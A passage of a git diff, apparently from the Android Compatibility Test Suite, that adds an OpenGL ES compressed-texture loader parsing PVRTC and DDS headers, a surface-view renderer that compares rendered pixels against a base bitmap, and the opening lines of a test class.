+         * @return the texture data.
+         */
+        public ByteBuffer getData() { return mData; }
+
+        /**
+         * Get the format of the texture.
+         * @return the internal format.
+         */
+        public int getFormat() { return mInternalFormat; }
+
+        /**
+         * Get the format of the texture.
+         * @return the internal format.
+         */
+        public boolean isSupported() { return isFormatSupported(mFormatName); }
+
+        private int mWidth;
+        private int mHeight;
+        private int mInternalFormat;
+        private ByteBuffer mData;
+        private String mFormatName;
+    }
+
+    /*  .pvr header is described by the following c struct
+        typedef struct PVR_TEXTURE_HEADER_TAG{
+            unsigned int  dwHeaderSize;   // size of the structure
+            unsigned int  dwHeight;    // height of surface to be created
+            unsigned int  dwWidth;    // width of input surface
+            unsigned int  dwMipMapCount;   // number of MIP-map levels requested
+            unsigned int  dwpfFlags;   // pixel format flags
+            unsigned int  dwDataSize;   // Size of the compress data
+            unsigned int  dwBitCount;   // number of bits per pixel
+            unsigned int  dwRBitMask;   // mask for red bit
+            unsigned int  dwGBitMask;   // mask for green bits
+            unsigned int  dwBBitMask;   // mask for blue bits
+            unsigned int  dwAlphaBitMask;   // mask for alpha channel
+            unsigned int  dwPVR;    // should be 'P' 'V' 'R' '!'
+            unsigned int  dwNumSurfs;   //number of slices for volume textures or skyboxes
+        } PVR_TEXTURE_HEADER;
+    */
+    static final int PVR_HEADER_SIZE = 13 * 4;
+    static final int PVR_2BPP = 24;
+    static final int PVR_4BPP = 25;
+    static final int PVR_MAGIC_NUMBER = 559044176;
+
+    static final int GL_COMPRESSED_RGB_PVRTC_4BPPV1_IMG = 0x8C00;
+    static final int GL_COMPRESSED_RGB_PVRTC_2BPPV1_IMG = 0x8C01;
+    static final int GL_COMPRESSED_RGBA_PVRTC_4BPPV1_IMG = 0x8C02;
+    static final int GL_COMPRESSED_RGBA_PVRTC_2BPPV1_IMG = 0x8C03;
+
+    static class PVRHeader {
+        int mHeaderSize;   // size of the structure
+        int mHeight;    // height of surface to be created
+        int mWidth;    // width of input surface
+        int mMipMapCount;   // number of MIP-map levels requested
+        int mpfFlags;   // pixel format flags
+        int mDataSize;   // Size of the compress data
+        int mBitCount;   // number of bits per pixel
+        int mRBitMask;   // mask for red bit
+        int mGBitMask;   // mask for green bits
+        int mBBitMask;   // mask for blue bits
+        int mAlphaBitMask;   // mask for alpha channel
+        int mPVR;    // should be 'P' 'V' 'R' '!'
+        int mNumSurfs;   //number of slices for volume textures or skyboxes
+    }
+
+    protected static PVRHeader readPVRHeader(InputStream is) {
+
+        byte[] headerData = new byte[PVR_HEADER_SIZE];
+        try {
+            is.read(headerData);
+        } catch (Exception e) {
+            throw new RuntimeException("Unable to read data");
+        }
+
+        ByteBuffer headerBuffer = ByteBuffer.allocateDirect(PVR_HEADER_SIZE)
+                .order(ByteOrder.nativeOrder());
+        headerBuffer.put(headerData, 0, PVR_HEADER_SIZE).position(0);
+
+        PVRHeader header = new PVRHeader();
+
+        header.mHeaderSize = headerBuffer.getInt();
+        header.mHeight = headerBuffer.getInt();
+        header.mWidth = headerBuffer.getInt();
+        header.mMipMapCount = headerBuffer.getInt();
+        header.mpfFlags = headerBuffer.getInt();
+        header.mDataSize = headerBuffer.getInt();
+        header.mBitCount = headerBuffer.getInt();
+        header.mRBitMask = headerBuffer.getInt();
+        header.mGBitMask = headerBuffer.getInt();
+        header.mBBitMask = headerBuffer.getInt();
+        header.mAlphaBitMask = headerBuffer.getInt();
+        header.mPVR = headerBuffer.getInt();
+        header.mNumSurfs = headerBuffer.getInt();
+
+        if (header.mHeaderSize != PVR_HEADER_SIZE ||
+            header.mPVR != PVR_MAGIC_NUMBER) {
+            throw new RuntimeException("Invalid header data");
+        }
+
+        return header;
+    }
+
+    public static Texture loadTextureATC(Resources res, int id) {
+        Texture tex = new Texture(0, 0, 0, null, "Cts!");
+        return tex;
+    }
+
+    private static ETC1Util.ETC1Texture compressTexture(Buffer input,
+                                                        int width, int height,
+                                                        int pixelSize, int stride){
+        int encodedImageSize = ETC1.getEncodedDataSize(width, height);
+        ByteBuffer compressedImage = ByteBuffer.allocateDirect(encodedImageSize).
+            order(ByteOrder.nativeOrder());
+        ETC1.encodeImage(input, width, height, pixelSize, stride, compressedImage);
+        return new ETC1Util.ETC1Texture(width, height, compressedImage);
+    }
+
+    public static Texture createFromUncompressedETC1(Bitmap bitmap) {
+        int dataSize = bitmap.getRowBytes() * bitmap.getHeight();
+
+        ByteBuffer dataBuffer;
+        dataBuffer = ByteBuffer.allocateDirect(dataSize).order(ByteOrder.nativeOrder());
+        bitmap.copyPixelsToBuffer(dataBuffer);
+        dataBuffer.position(0);
+
+        int bytesPerPixel = bitmap.getRowBytes() / bitmap.getWidth();
+        ETC1Util.ETC1Texture compressed = compressTexture(dataBuffer,
+                                                          bitmap.getWidth(),
+                                                          bitmap.getHeight(),
+                                                          bytesPerPixel,
+                                                          bitmap.getRowBytes());
+
+        Texture tex = new Texture(compressed.getWidth(), compressed.getHeight(),
+                                  ETC1.ETC1_RGB8_OES, compressed.getData(), TEXTURE_ETC1);
+
+        return tex;
+    }
+
+    private static ByteBuffer read(InputStream is, int dataSize) {
+        ByteBuffer dataBuffer;
+        dataBuffer = ByteBuffer.allocateDirect(dataSize).order(ByteOrder.nativeOrder());
+        byte[] ioBuffer = new byte[4096];
+        for (int i = 0; i < dataSize; ) {
+            int chunkSize = Math.min(ioBuffer.length, dataSize - i);
+            try {
+                is.read(ioBuffer, 0, chunkSize);
+            } catch (Exception e) {
+                throw new RuntimeException("Unable to read data");
+            }
+            dataBuffer.put(ioBuffer, 0, chunkSize);
+            i += chunkSize;
+        }
+        dataBuffer.position(0);
+        return dataBuffer;
+    }
+
+    public static Texture loadTexturePVRTC(Resources res, int id) {
+        InputStream is = null;
+        try {
+            is = res.openRawResource(id);
+        } catch (Exception e) {
+            throw new RuntimeException("Unable to open resource " + id);
+        }
+
+        PVRHeader header = readPVRHeader(is);
+
+        int format = header.mpfFlags & 0xFF;
+        int internalFormat = 0;
+        if (format == PVR_2BPP && header.mAlphaBitMask == 1) {
+            internalFormat = GL_COMPRESSED_RGBA_PVRTC_2BPPV1_IMG;
+        } else if (format == PVR_2BPP && header.mAlphaBitMask == 0) {
+            internalFormat = GL_COMPRESSED_RGB_PVRTC_2BPPV1_IMG;
+        } else if (format == PVR_4BPP && header.mAlphaBitMask == 1) {
+            internalFormat = GL_COMPRESSED_RGBA_PVRTC_4BPPV1_IMG;
+        } else if (format == PVR_4BPP && header.mAlphaBitMask == 0) {
+            internalFormat = GL_COMPRESSED_RGB_PVRTC_4BPPV1_IMG;
+        }
+
+        // only load the first mip level for now
+        int dataSize = (header.mWidth * header.mHeight * header.mBitCount) >> 3;
+        ByteBuffer dataBuffer = read(is, dataSize);
+        Texture tex = new Texture(header.mWidth, header.mHeight,
+                                  internalFormat, dataBuffer,
+                                  TEXTURE_PVRTC);
+        try {
+            is.close();
+        } catch (Exception e) {
+            throw new RuntimeException("Unable to close resource stream " + id);
+        }
+        return tex;
+    }
+
+    /* DDS Header is described by the following structs
+       typedef struct {
+          DWORD           dwSize;
+          DWORD           dwFlags;
+          DWORD           dwHeight;
+          DWORD           dwWidth;
+          DWORD           dwPitchOrLinearSize;
+          DWORD           dwDepth;
+          DWORD           dwMipMapCount;
+          DWORD           dwReserved1[11];
+          DDS_PIXELFORMAT ddspf;
+          DWORD           dwCaps;
+          DWORD           dwCaps2;
+          DWORD           dwCaps3;
+          DWORD           dwCaps4;
+          DWORD           dwReserved2;
+        } DDS_HEADER;
+
+        struct DDS_PIXELFORMAT {
+          DWORD dwSize;
+          DWORD dwFlags;
+          DWORD dwFourCC;
+          DWORD dwRGBBitCount;
+          DWORD dwRBitMask;
+          DWORD dwGBitMask;
+          DWORD dwBBitMask;
+          DWORD dwABitMask;
+        };
+
+        In the file it looks like this
+        DWORD               dwMagic;
+        DDS_HEADER          header;
+        DDS_HEADER_DXT10    header10; // If the DDS_PIXELFORMAT dwFlags is set to DDPF_FOURCC
+                                      // and dwFourCC is DX10
+
+    */
+
+    static final int DDS_HEADER_STRUCT_SIZE = 124;
+    static final int DDS_PIXELFORMAT_STRUCT_SIZE = 32;
+    static final int DDS_HEADER_SIZE = 128;
+    static final int DDS_MAGIC_NUMBER = 0x20534444;
+    static final int DDS_DDPF_FOURCC = 0x4;
+    static final int DDS_DXT1 = 0x31545844;
+    static final int DDS_DXT5 = 0x35545844;
+
+    static final int COMPRESSED_RGB_S3TC_DXT1_EXT = 0x83F0;
+    static final int COMPRESSED_RGBA_S3TC_DXT1_EXT = 0x83F1;
+    static final int COMPRESSED_RGBA_S3TC_DXT5_EXT = 0x83F3;
+
+    static class DDSHeader {
+        int mMagic;
+        int mSize;
+        int mFlags;
+        int mHeight;
+        int mWidth;
+        int mPitchOrLinearSize;
+        int mDepth;
+        int mMipMapCount;
+        int[] mReserved1;
+        // struct DDS_PIXELFORMAT {
+            int mPixelFormatSize;
+            int mPixelFormatFlags;
+            int mPixelFormatFourCC;
+            int mPixelFormatRGBBitCount;
+            int mPixelFormatRBitMask;
+            int mPixelFormatGBitMask;
+            int mPixelFormatBBitMask;
+            int mPixelFormatABitMask;
+        // };
+        int mCaps;
+        int mCaps2;
+        int mCaps3;
+        int mCaps4;
+        int mReserved2;
+
+        DDSHeader() {
+            mReserved1 = new int[11];
+        }
+    }
+
+    protected static DDSHeader readDDSHeader(InputStream is) {
+
+        byte[] headerData = new byte[DDS_HEADER_SIZE];
+        try {
+            is.read(headerData);
+        } catch (Exception e) {
+            throw new RuntimeException("Unable to read data");
+        }
+
+        ByteBuffer headerBuffer = ByteBuffer.allocateDirect(DDS_HEADER_SIZE)
+                .order(ByteOrder.nativeOrder());
+        headerBuffer.put(headerData, 0, DDS_HEADER_SIZE).position(0);
+
+        DDSHeader header = new DDSHeader();
+
+        header.mMagic = headerBuffer.getInt();
+        header.mSize = headerBuffer.getInt();
+        header.mFlags = headerBuffer.getInt();
+        header.mHeight = headerBuffer.getInt();
+        header.mWidth = headerBuffer.getInt();
+        header.mPitchOrLinearSize = headerBuffer.getInt();
+        header.mDepth = headerBuffer.getInt();
+        header.mMipMapCount = headerBuffer.getInt();
+        for (int i = 0; i < header.mReserved1.length; i ++) {
+            header.mReserved1[i] = headerBuffer.getInt();
+        }
+        // struct DDS_PIXELFORMAT {
+            header.mPixelFormatSize = headerBuffer.getInt();
+            header.mPixelFormatFlags = headerBuffer.getInt();
+            header.mPixelFormatFourCC = headerBuffer.getInt();
+            header.mPixelFormatRGBBitCount = headerBuffer.getInt();
+            header.mPixelFormatRBitMask = headerBuffer.getInt();
+            header.mPixelFormatGBitMask = headerBuffer.getInt();
+            header.mPixelFormatBBitMask = headerBuffer.getInt();
+            header.mPixelFormatABitMask = headerBuffer.getInt();
+        // };
+        header.mCaps = headerBuffer.getInt();
+        header.mCaps2 = headerBuffer.getInt();
+        header.mCaps3 = headerBuffer.getInt();
+        header.mCaps4 = headerBuffer.getInt();
+        header.mReserved2 = headerBuffer.getInt();
+
+        if (header.mSize != DDS_HEADER_STRUCT_SIZE ||
+            header.mPixelFormatSize != DDS_PIXELFORMAT_STRUCT_SIZE ||
+            header.mMagic != DDS_MAGIC_NUMBER) {
+            throw new RuntimeException("Invalid header data");
+        }
+
+        return header;
+    }
+
+    // Very simple loader that only reads in the header and a DXT1 mip level 0
+    public static Texture loadTextureDXT(Resources res, int id) {
+        InputStream is = null;
+        try {
+            is = res.openRawResource(id);
+        } catch (Exception e) {
+            throw new RuntimeException("Unable to open resource " + id);
+        }
+
+        DDSHeader header = readDDSHeader(is);
+
+        if (header.mPixelFormatFlags != DDS_DDPF_FOURCC) {
+            throw new RuntimeException("Unsupported DXT data");
+        }
+
+        int internalFormat = 0;
+        int bpp = 0;
+        switch (header.mPixelFormatFourCC) {
+        case DDS_DXT1:
+            internalFormat = COMPRESSED_RGB_S3TC_DXT1_EXT;
+            bpp = 4;
+            break;
+        case DDS_DXT5:
+            internalFormat = COMPRESSED_RGBA_S3TC_DXT5_EXT;
+            bpp = 8;
+            break;
+        default:
+            throw new RuntimeException("Unsupported DXT data");
+        }
+
+        // only load the first mip level for now
+        int dataSize = (header.mWidth * header.mHeight * bpp) >> 3;
+        if (dataSize != header.mPitchOrLinearSize) {
+            throw new RuntimeException("Expected data and header mismatch");
+        }
+        ByteBuffer dataBuffer = read(is, dataSize);
+
+        Texture tex = new Texture(header.mWidth, header.mHeight, internalFormat,
+                                  dataBuffer, TEXTURE_S3TC);
+        return tex;
+    }
+
+    static HashMap<String, Boolean> sExtensionMap;
+    static HashMap<String, Boolean> sFormatMap;
+
+    private static synchronized void updateSupportedFormats() {
+        if (sExtensionMap != null) {
+            return;
+        }
+
+        sExtensionMap = new HashMap<String, Boolean>();
+        sFormatMap = new HashMap<String, Boolean>();
+        String extensionList = GLES20.glGetString(GLES20.GL_EXTENSIONS);
+
+        for (String extension : extensionList.split(" ")) {
+            sExtensionMap.put(extension, true);
+        }
+
+        // Check ETC1
+        sFormatMap.put(TEXTURE_ETC1, ETC1Util.isETC1Supported());
+        // Check ATC
+        if (sExtensionMap.get("GL_AMD_compressed_ATC_texture") != null ||
+            sExtensionMap.get("GL_ATI_compressed_texture_atitc") != null ||
+            sExtensionMap.get("GL_ATI_texture_compression_atitc") != null) {
+            sFormatMap.put(TEXTURE_ATC, true);
+        }
+        // Check DXT
+        if (sExtensionMap.get("GL_EXT_texture_compression_dxt1") != null ||
+            sExtensionMap.get("GL_EXT_texture_compression_s3tc") != null ||
+            sExtensionMap.get("OES_texture_compression_S3TC") != null) {
+            sFormatMap.put(TEXTURE_S3TC, true);
+        }
+        // Check DXT
+        if (sExtensionMap.get("GL_IMG_texture_compression_pvrtc") != null) {
+            sFormatMap.put(TEXTURE_PVRTC, true);
+        }
+
+        /*Log.i(TAG, "mIsSupportedETC1 " + sFormatMap.get(TEXTURE_ETC1));
+        Log.i(TAG, "mIsSupportedATC " + sFormatMap.get(TEXTURE_ATC));
+        Log.i(TAG, "mIsSupportedDXT " + sFormatMap.get(TEXTURE_S3TC));
+        Log.i(TAG, "mIsSupportedPVRTC " + sFormatMap.get(TEXTURE_PVRTC));*/
+    }
+
+    private static boolean isFormatSupported(String format) {
+        updateSupportedFormats();
+        Boolean supported = sFormatMap.get(format);
+        return supported != null ? supported : false;
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureSurfaceView.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureSurfaceView.java
new file mode 100644
index 0000000..6ca404b
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureSurfaceView.java
@@ -0,0 +1,393 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.opengl.GLES20;
+import android.opengl.GLSurfaceView;
+import android.opengl.GLUtils;
+import android.opengl.Matrix;
+import android.util.Log;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+class CompressedTextureSurfaceView extends GLSurfaceView {
+    CompressedTextureRender mRenderer;
+
+    public CompressedTextureSurfaceView(Context context,
+                                        Bitmap base,
+                                        CompressedTextureLoader.Texture compressed) {
+        super(context);
+
+        setEGLContextClientVersion(2);
+        mRenderer = new CompressedTextureRender(base, compressed);
+        setRenderer(mRenderer);
+        setRenderMode(RENDERMODE_WHEN_DIRTY);
+    }
+
+    public boolean getTestPassed() throws InterruptedException {
+        return mRenderer.getTestPassed();
+    }
+
+    private static class CompressedTextureRender implements GLSurfaceView.Renderer {
+        private static String TAG = "CompressedTextureRender";
+
+        private static final int ALLOWED_DELTA = 25;
+        private static final int FBO_PIXEL_SIZE_BYTES = 4;
+        private static final int FLOAT_SIZE_BYTES = 4;
+        private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
+        private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
+        private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
+        private final float[] mTriangleVerticesData = {
+            // X, Y, Z, U, V
+            -1.0f, -1.0f, 0, 0.f, 0.f,
+            1.0f, -1.0f, 0, 1.f, 0.f,
+            -1.0f,  1.0f, 0, 0.f, 1.f,
+            1.0f,  1.0f, 0, 1.f, 1.f,
+        };
+
+        private FloatBuffer mTriangleVertices;
+
+        private final String mVertexShader =
+                "uniform mat4 uMVPMatrix;\n" +
+                "attribute vec4 aPosition;\n" +
+                "attribute vec4 aTextureCoord;\n" +
+                "varying vec2 vTextureCoord;\n" +
+                "void main() {\n" +
+                "  gl_Position = uMVPMatrix * aPosition;\n" +
+                "  vTextureCoord = aTextureCoord.xy;\n" +
+                "}\n";
+
+        private final String mFragmentShader =
+                "precision mediump float;\n" +
+                "varying vec2 vTextureCoord;\n" +
+                "uniform sampler2D sTexture;\n" +
+                "void main() {\n" +
+                "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
+                "}\n";
+
+        private float[] mMVPMatrix = new float[16];
+        private float[] mSTMatrix = new float[16];
+
+        private int mProgram;
+        private int mTextureID;
+        private int muMVPMatrixHandle;
+        private int maPositionHandle;
+        private int maTextureHandle;
+
+        private int mColorTargetID;
+        private int mFrameBufferObjectID;
+
+        private boolean mTestPassed;
+        private CountDownLatch mDoneSignal;
+
+        Bitmap mBaseTexture;
+        CompressedTextureLoader.Texture mCompressedTexture;
+
+        int mWidth;
+        int mHeight;
+
+        ByteBuffer mReadBackBuffer;
+
+        boolean getTestPassed() throws InterruptedException {
+            if (!mDoneSignal.await(2000L, TimeUnit.MILLISECONDS)) {
+                throw new IllegalStateException("Coudn't finish drawing frames!");
+            }
+
+            return mTestPassed;
+        }
+
+        public CompressedTextureRender(Bitmap base,
+                                       CompressedTextureLoader.Texture compressed) {
+            mBaseTexture = base;
+            mCompressedTexture = compressed;
+            mTriangleVertices = ByteBuffer.allocateDirect(
+                mTriangleVerticesData.length * FLOAT_SIZE_BYTES)
+                    .order(ByteOrder.nativeOrder()).asFloatBuffer();
+            mTriangleVertices.put(mTriangleVerticesData).position(0);
+
+            Matrix.setIdentityM(mSTMatrix, 0);
+
+            int byteBufferSize = mBaseTexture.getWidth() *
+                                 mBaseTexture.getHeight() *
+                                 FBO_PIXEL_SIZE_BYTES;
+            mReadBackBuffer = ByteBuffer.allocateDirect(byteBufferSize);
+
+            mDoneSignal = new CountDownLatch(1);
+        }
+
+        private void renderQuad(int textureID) {
+            GLES20.glUseProgram(mProgram);
+            checkGlError("glUseProgram");
+
+            GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
+            GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, textureID);
+
+            mTriangleVertices.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
+            GLES20.glVertexAttribPointer(maPositionHandle, 3, GLES20.GL_FLOAT, false,
+                TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
+            checkGlError("glVertexAttribPointer maPosition");
+            GLES20.glEnableVertexAttribArray(maPositionHandle);
+            checkGlError("glEnableVertexAttribArray maPositionHandle");
+
+            mTriangleVertices.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
+            GLES20.glVertexAttribPointer(maTextureHandle, 2, GLES20.GL_FLOAT, false,
+                TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
+            checkGlError("glVertexAttribPointer maTextureHandle");
+            GLES20.glEnableVertexAttribArray(maTextureHandle);
+            checkGlError("glEnableVertexAttribArray maTextureHandle");
+
+            Matrix.setIdentityM(mMVPMatrix, 0);
+            GLES20.glUniformMatrix4fv(muMVPMatrixHandle, 1, false, mMVPMatrix, 0);
+
+            GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
+            checkGlError("glDrawArrays");
+        }
+
+        private int getUnsignedByte(byte val) {
+            return 0xFF & ((int)val);
+        }
+
+        private boolean comparePixel(int x, int y) {
+            int w = mBaseTexture.getWidth();
+            int sampleStart = (y * w + x) * FBO_PIXEL_SIZE_BYTES;
+
+            int R = getUnsignedByte(mReadBackBuffer.get(sampleStart));
+            int G = getUnsignedByte(mReadBackBuffer.get(sampleStart + 1));
+            int B = getUnsignedByte(mReadBackBuffer.get(sampleStart + 2));
+
+            int original = mBaseTexture.getPixel(x, y);
+
+            int deltaR = Math.abs(R - Color.red(original));
+            int deltaG = Math.abs(G - Color.green(original));
+            int deltaB = Math.abs(B - Color.blue(original));
+
+            if (deltaR <= ALLOWED_DELTA &&
+                deltaG <= ALLOWED_DELTA &&
+                deltaB <= ALLOWED_DELTA) {
+                return true;
+            }
+
+            Log.i("PIXEL DELTA", "R: " + deltaR + " G: " + deltaG + " B: " + deltaB);
+
+            return false;
+        }
+
+        private void comparePixels() {
+            int w = mBaseTexture.getWidth();
+            int h = mBaseTexture.getWidth();
+            int wOver4 = w / 4;
+            int hOver4 = h / 4;
+
+            // Sample 4 points in the image. Test is designed so that
+            // sample areas are low frequency and easy to compare
+            boolean sample1Matches = comparePixel(wOver4, hOver4);
+            boolean sample2Matches = comparePixel(wOver4 * 3, hOver4);
+            boolean sample3Matches = comparePixel(wOver4, hOver4 * 3);
+            boolean sample4Matches = comparePixel(wOver4 * 3, hOver4 * 3);
+
+            mTestPassed = sample1Matches && sample2Matches && sample3Matches && sample4Matches;
+            mDoneSignal.countDown();
+        }
+
+        public void onDrawFrame(GL10 glUnused) {
+            if (mProgram == 0) {
+                return;
+            }
+
+            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, mFrameBufferObjectID);
+            GLES20.glViewport(0, 0, mBaseTexture.getWidth(), mBaseTexture.getHeight());
+            GLES20.glClearColor(1.0f, 1.0f, 1.0f, 1.0f);
+            renderQuad(mTextureID);
+            GLES20.glReadPixels(0, 0, mBaseTexture.getWidth(), mBaseTexture.getHeight(),
+                                GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mReadBackBuffer);
+            comparePixels();
+            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, 0);
+
+            GLES20.glViewport(0, 0, mWidth, mHeight);
+            GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
+            GLES20.glClear( GLES20.GL_DEPTH_BUFFER_BIT | GLES20.GL_COLOR_BUFFER_BIT);
+
+            renderQuad(mColorTargetID);
+
+            GLES20.glFinish();
+        }
+
+        public void onSurfaceChanged(GL10 glUnused, int width, int height) {
+            mWidth = width;
+            mHeight = height;
+        }
+
+        private void setupSamplers() {
+            GLES20.glTexParameteri(GLES20.GL_TEXTURE_2D,
+                    GLES20.GL_TEXTURE_WRAP_S, GLES20.GL_CLAMP_TO_EDGE);
+            GLES20.glTexParameteri(GLES20.GL_TEXTURE_2D,
+                    GLES20.GL_TEXTURE_WRAP_T, GLES20.GL_CLAMP_TO_EDGE);
+            GLES20.glTexParameterf(GLES20.GL_TEXTURE_2D,
+                    GLES20.GL_TEXTURE_MIN_FILTER, GLES20.GL_LINEAR);
+            GLES20.glTexParameterf(GLES20.GL_TEXTURE_2D,
+                    GLES20.GL_TEXTURE_MAG_FILTER, GLES20.GL_LINEAR);
+        }
+
+        private void initFBO() {
+            int[] textures = new int[1];
+            GLES20.glGenTextures(1, textures, 0);
+
+            mColorTargetID = textures[0];
+            GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, mColorTargetID);
+            checkGlError("glBindTexture mColorTargetID");
+            setupSamplers();
+            GLES20.glTexImage2D(GLES20.GL_TEXTURE_2D, 0, GLES20.GL_RGBA,
+                                mBaseTexture.getWidth(), mBaseTexture.getHeight(), 0,
+                                GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, null);
+            checkGlError("glTexImage2D mColorTargetID");
+
+            GLES20.glGenFramebuffers(1, textures, 0);
+            mFrameBufferObjectID = textures[0];
+            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, mFrameBufferObjectID);
+
+            GLES20.glFramebufferTexture2D(GLES20.GL_FRAMEBUFFER, GLES20.GL_COLOR_ATTACHMENT0,
+                                          GLES20.GL_TEXTURE_2D, mColorTargetID, 0);
+
+            int status = GLES20.glCheckFramebufferStatus(GLES20.GL_FRAMEBUFFER);
+            if(status != GLES20.GL_FRAMEBUFFER_COMPLETE) {
+                throw new RuntimeException("Failed to initialize framebuffer object");
+            }
+
+            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, 0);
+        }
+
+        public void onSurfaceCreated(GL10 glUnused, EGLConfig config) {
+            if (mCompressedTexture != null && !mCompressedTexture.isSupported()) {
+                mTestPassed = true;
+                mDoneSignal.countDown();
+                return;
+            }
+
+            initFBO();
+
+            mProgram = createProgram(mVertexShader, mFragmentShader);
+            if (mProgram == 0) {
+                return;
+            }
+            maPositionHandle = GLES20.glGetAttribLocation(mProgram, "aPosition");
+            checkGlError("glGetAttribLocation aPosition");
+            if (maPositionHandle == -1) {
+                throw new RuntimeException("Could not get attrib location for aPosition");
+            }
+            maTextureHandle = GLES20.glGetAttribLocation(mProgram, "aTextureCoord");
+            checkGlError("glGetAttribLocation aTextureCoord");
+            if (maTextureHandle == -1) {
+                throw new RuntimeException("Could not get attrib location for aTextureCoord");
+            }
+
+            muMVPMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uMVPMatrix");
+            checkGlError("glGetUniformLocation uMVPMatrix");
+            if (muMVPMatrixHandle == -1) {
+                throw new RuntimeException("Could not get attrib location for uMVPMatrix");
+            }
+
+            int[] textures = new int[1];
+            GLES20.glGenTextures(1, textures, 0);
+
+            mTextureID = textures[0];
+            GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, mTextureID);
+            checkGlError("glBindTexture mTextureID");
+            setupSamplers();
+
+            if (mCompressedTexture == null) {
+                GLUtils.texImage2D(GLES20.GL_TEXTURE_2D, 0, mBaseTexture, 0);
+                checkGlError("texImage2D mBaseTexture");
+            } else {
+                GLES20.glCompressedTexImage2D(GLES20.GL_TEXTURE_2D,
+                                              0,
+                                              mCompressedTexture.getFormat(),
+                                              mCompressedTexture.getWidth(),
+                                              mCompressedTexture.getHeight(),
+                                              0,
+                                              mCompressedTexture.getData().remaining(),
+                                              mCompressedTexture.getData());
+                checkGlError("glCompressedTexImage2D mTextureID");
+            }
+        }
+
+        private int loadShader(int shaderType, String source) {
+            int shader = GLES20.glCreateShader(shaderType);
+            if (shader != 0) {
+                GLES20.glShaderSource(shader, source);
+                GLES20.glCompileShader(shader);
+                int[] compiled = new int[1];
+                GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
+                if (compiled[0] == 0) {
+                    Log.e(TAG, "Could not compile shader " + shaderType + ":");
+                    Log.e(TAG, GLES20.glGetShaderInfoLog(shader));
+                    GLES20.glDeleteShader(shader);
+                    shader = 0;
+                }
+            }
+            return shader;
+        }
+
+        private int createProgram(String vertexSource, String fragmentSource) {
+            int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
+            if (vertexShader == 0) {
+                return 0;
+            }
+            int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
+            if (pixelShader == 0) {
+                return 0;
+            }
+
+            int program = GLES20.glCreateProgram();
+            if (program != 0) {
+                GLES20.glAttachShader(program, vertexShader);
+                checkGlError("glAttachShader");
+                GLES20.glAttachShader(program, pixelShader);
+                checkGlError("glAttachShader");
+                GLES20.glLinkProgram(program);
+                int[] linkStatus = new int[1];
+                GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
+                if (linkStatus[0] != GLES20.GL_TRUE) {
+                    Log.e(TAG, "Could not link program: ");
+                    Log.e(TAG, GLES20.glGetProgramInfoLog(program));
+                    GLES20.glDeleteProgram(program);
+                    program = 0;
+                }
+            }
+            return program;
+        }
+
+        private void checkGlError(String op) {
+            int error;
+            while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
+                Log.e(TAG, op + ": glError " + error);
+                throw new RuntimeException(op + ": glError " + error);
+            }
+        }
+
+    }  // End of class CompressedTextureRender.
+
+}  // End of class CompressedTextureSurfaceView.
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
new file mode 100644
index 0000000..137c8d4
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
